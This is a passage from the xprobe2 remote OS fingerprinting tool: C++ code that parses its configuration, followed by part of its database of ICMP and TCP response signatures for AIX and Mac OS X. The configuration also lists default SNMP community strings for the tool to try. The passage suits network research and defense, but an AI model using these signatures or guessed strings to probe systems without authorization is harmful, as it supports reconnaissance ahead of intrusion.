Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "config_set.h" #include "interface.h" #include "os_matrix.h" #include "xprobe_module_hdlr.h" extern Interface *ui; extern OS_Name *oses; extern Xprobe_Module_Hdlr *xmh; int Config_Line::read_line(FILE *fd) { char *buf; buf = (char *)calloc(XP_CONFIG_LINEMAX+1, 1); if ((buf = fgets(buf, XP_CONFIG_LINEMAX, fd)) == NULL) return FAIL; /* EOF or whatever */ line = buf; free(buf); line = trim_comments(line); line = trim_whitespc(line); return OK; } const string Config_Line::trim_comments(string &l) { int p; p = l.find('#', 0); if (p != -1) l.replace(p, l.length() - p, ""); return l; } const string Config_Line::trim_whitespc(string &l) { unsigned int p; p = l.find_first_not_of("\n\r\t\v "); if (p != string::npos) l.replace(0, p, ""); p = l.find_last_not_of("\n\r\t\v "); if (p != string::npos) l.replace(p + 1, l.length() - p, ""); return l; } int Config_Line::get_tokid(void) { if (line.length() == 0) return XP_CONFIG_TK_EMPTY; if (line.find('{') != string::npos) return XP_CONFIG_TK_SECBEGIN; if (line.find('}') != string::npos) return XP_CONFIG_TK_SECEND; if (line.find('=') != string::npos) return XP_CONFIG_TK_KEYVAL; /* non empty line without these characters is either garbage * or option. Let Config_File deal with it. */ return XP_CONFIG_TK_OPT; } Config_SectionB::Config_SectionB(const string &l): Config_Line(l) { unsigned int p; p = l.find_first_of(" \n\r\t\v{"); if (p != string::npos) sec_name = l.substr(0, p); } Config_KeyVal::Config_KeyVal(const string &l): Config_Line(l) { unsigned int p; p = l.find_first_of(" \n\r\t\v="); if (p != string::npos) key = l.substr(0, p); else { ui->error("corrupted string!"); inc_error(); return; } // get value p = l.find_first_of("="); if (p != string::npos) { val = l.substr(p + 1, l.length()); val = trim_whitespc(val); } else { ui->error("corrupted string!"); inc_error(); return; } xprobe_debug(XPROBE_DEBUG_CONFIG, "\tkey = %s val = %s\n", key.c_str(), val.c_str()); } int Config_Section::set_nextkey(void) { if (kv_i == key_val.end()) return FAIL; kv_i++; if (kv_i == key_val.end()) return FAIL; return OK; } int Config_Section::read_sec(void) { Config_Line line; while ((line.read_line(cf->get_fd())) == OK) { cf->inc_line(); switch (line.get_tokid()) { case XP_CONFIG_TK_EMPTY: /* do nothing */ break; case XP_CONFIG_TK_SECBEGIN: { if (get_state() != 0) { ui->error("[x] Multiple open sections on line %i(%s)\n", cf->get_linenum(), line.get_line().c_str()); return FAIL; } set_state(XP_CONFIG_TK_SECBEGIN); Config_SectionB sec(line.get_line()); set_secname(sec.get_secname()); } break; case XP_CONFIG_TK_SECEND: if (get_state() != XP_CONFIG_TK_SECBEGIN) { ui->error("[x] Multiple close sections on line: %i\n", cf->get_linenum()); return FAIL; } set_state(0); return OK; /* read a section */ break; case XP_CONFIG_TK_KEYVAL: { Config_KeyVal kw(line.get_line()); add_key_val(kw.get_key(), kw.get_val()); /* section parse here..call parse stuff */ } break; case XP_CONFIG_TK_OPT: set_option(line.get_line()); break; default: ui->error("unknown token!\n"); }/* case */ } /* while */ return FAIL; /* EOF or somtheing */ } void Config_Section::add_key_val(const string &key, const string &val) { key_val.insert(pair(key, val)); } void Config_Section::set_option(const string &opt) { options.push_back(opt); } int Config_Section::find_key(const string &k) { kv_i = key_val.find(k); if (kv_i == key_val.end()) return FAIL; return OK; } int Config_File::open_cfg(void) { if ((fd = fopen(filename.c_str(), "r")) == NULL) { ui->error("error opening %s: %s\n", filename.c_str(), strerror(errno)); return FAIL; } return OK; } int Config_File::close_cfg(void) { if (fclose(fd) != 0) { ui->perror("fclose"); return FAIL; } return OK; } int Config_File::process(char *fname) { filename = fname; if (open_cfg() != OK) { ui->error("failed to open config file: %s\n", fname); return FAIL; } for(;;) { Config_Section *sec = new Config_Section(this); if (sec->read_sec() != OK) break; xprobe_debug(XPROBE_DEBUG_CONFIG,"\tSECTION %s\n", sec->get_secname()); /* process the file */ if (!strcasecmp(sec->get_secname(),"GENERIC")) { xprobe_mdebug(XPROBE_DEBUG_CONFIG, "Parsing generic options\n"); process_generic(sec); } else if (!strcasecmp(sec->get_secname(), "FINGERPRINT")) { xprobe_mdebug(XPROBE_DEBUG_CONFIG, "Parsing fingerprint\n"); process_fingerprint(sec); } else { ui->error("[%s:%i]: Unknown section tag %s\n", filename.c_str(), get_linenum(), sec->get_secname()); } delete sec; } if (close_cfg() != OK) { ui->error("failed to close config file: %s\n", fname); return FAIL; } return OK; } int Config_File::process_generic(Config_Section *sec) { sec->reset_key(); do { string key, val; key = sec->get_nextkey(); val = sec->get_nextval(); /* set generic options here */ if (key == "timeout") cfset->set_timeout(atoi(val.c_str())); if (key == "community_strings") cfset->set_comstrings(val); xprobe_debug(XPROBE_DEBUG_CONFIG,"\t\tKEY %s VAL %s\n", key.c_str(), val.c_str()); } while(sec->set_nextkey() != FAIL); return OK; } int Config_File::process_fingerprint(Config_Section *sec) { int current_osid = -1; sec->reset_key(); do { string key, val; key = sec->get_nextkey(); val = sec->get_nextval(); if (key == "OS_ID") { if((current_osid = oses->add_os(val)) == FAIL) { ui->error("[%s:%i]: Dublicate signature for %s\n", filename.c_str(), get_linenum(), val.c_str()); return FAIL; } } else { if (current_osid == -1) { ui->error("[%s:%i]: keyword %s appears before OS_ID\n", filename.c_str(), get_linenum(), val.c_str()); return FAIL; } Xprobe_Module *mod; if ((mod = xmh->find_mod(key)) == NULL) { xprobe_debug(XPROBE_DEBUG_CONFIG, "[x][%s:%i] No active module handles: %s keyword\n", filename.c_str(), get_linenum(), key.c_str()); } else { mod->parse_keyword(current_osid, key.c_str(), val.c_str()); } } /* else OS_ID */ xprobe_debug(XPROBE_DEBUG_CONFIG,"\t\tKEY %s VAL %s\n", key.c_str(), val.c_str()); } while(sec->set_nextkey() != FAIL); return OK; } Config_File::Config_File(Config_Set *cfs) { line_num = 0; fd = NULL; cfset = cfs; } Config_Set::Config_Set(void) { cf = new Config_File(this); showroute = false; } int Config_Set::read_config(char *fname) { return (cf->process(fname)); } Config_Set::~Config_Set(void) { delete cf; } xprobe2-0.3/etc000755 001751 000000 00000000000 10271644026 013661 5ustar00mederwheel000000 000000 xprobe2-0.3/etc/xprobe2.conf000644 001751 000000 00001362464 10271643771 016216 0ustar00mederwheel000000 000000 #Xprobe2 Fingerprinting Database # #Last Modified: 11 July 2005 # #$Id: # #Contributions are welcomed # # #The fingerprinting database is (c) 2000-2005 by Ofir Arkin, Fyodor Yarochkin, Meder Kydyraliev #The database is available for free use by open source software under the terms of #the GNU General Public License. # #For commercial usage please contact: ofir@sys-security.com # # # #Generic Section generic { timeout = 2 community_strings=public,private,router,community,snmp,cisco } #Fingerprints # #For corrections & submission of signatures please email #ofir@sys-security.com # # #Example entry # #fingerprint { # OS_ID = "My OS" # #Entry inserted to the database by: Moderator's name (email) # #Entry contributed by: Contributer's name (email) # #Date: Date entered into database # #Modified: Date Modified # # #Module A [ICMP ECHO Probe] # icmp_echo_reply = [y, n] # icmp_echo_code = [0, !0] # icmp_echo_ip_id = [0, !0, SENT] # icmp_echo_tos_bits = [0, !0] # icmp_echo_df_bit = [0, 1] # icmp_echo_reply_ttl = [>< decimal num] # # #Module B [ICMP Timestamp Probe] # icmp_timestamp_reply = [y, n] # icmp_timestamp_reply_ttl = [>< decimal num] # icmp_timestamp_reply_ip_id = [0, !0, SENT] # # #Module C [ICMP Address Mask Request Probe] # icmp_addrmask_reply = [y, n] # icmp_addrmask_reply_ttl = [>< decimal num] # icmp_addrmask_reply_ip_id = [0, !0, SENT] # # #Module D [ICMP Information Request Probe] # icmp_info_reply = [y, n] # icmp_info_reply_ttl = [>< decimal num] # icmp_info_reply_ip_id = [0, !0, SENT] # # #Module E [UDP -> ICMP Unreachable probe] # #IP_Header_of_the_UDP_Port_Unreachable_error_message # icmp_unreach_reply = [y, n] # icmp_unreach_echoed_dtsize = [8, 64, >64] # icmp_unreach_reply_ttl = [>< decimal num] # icmp_unreach_precedence_bits = 0xc0, 0, (hex num) # icmp_unreach_df_bit = [0 , 1 ] # icmp_unreach_ip_id = [0, !0, SENT] # # #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message # icmp_unreach_echoed_udp_cksum = [0, OK, BAD] # icmp_unreach_echoed_ip_cksum = [0, OK, BAD] # icmp_unreach_echoed_ip_id = [OK, FLIPPED] # icmp_unreach_echoed_total_len = [>20, OK, <20] # icmp_unreach_echoed_3bit_flags = [OK, FLIPPED] # # #Module F [TCP SYN | ACK Module] # #IP header of the TCP SYN ACK # tcp_syn_ack_tos = [0, ] # tcp_syn_ack_df = [0 , 1 ] # tcp_syn_ack_ip_id = [0 , !0, SENT ] # tcp_syn_ack_ttl = [>< decimal num] # # #Information from the TCP header # tcp_syn_ack_ack = [] # tcp_syn_ack_window_size = [] # tcp_syn_ack_options_order = ["order"] # tcp_syn_ack_wscale = [, NONE] # tcp_syn_ack_tsval = [0, !0, NONE] # tcp_syn_ack_tsecr = [0, !0, NONE] # # #Module G [TCP RST|ACK] # tcp_rst_reply = [y ,n] # tcp_rst_df = [0, 1] # tcp_rst_ip_id_1 = [0, !0] # tcp_rst_ip_id_2 = [0, !0] # tcp_rst_ip_id_strategy = [0, I, R] # tcp_rst_ttl = [>< decimal num] # #} #AIX fingerprint { OS_ID = "AIX 5.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 July 2003 #Modified: 14 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = y icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = >20 icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "AIX 4.3.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 July 2003 #Modified: 14 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = y icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = >20 icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16060 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } #Apple fingerprint { OS_ID = "Apple Mac OS X 10.2.0" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 May 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 33304 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.2.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 May 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 33304 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.2.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 May 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 33304 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.2.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 May 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 33304 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.2.4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 May 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 33304 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.2.5" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 May 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 33304 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.2.6" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 May 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 33304 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.2.7" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 May 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 33304 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.2.8" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 May 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = 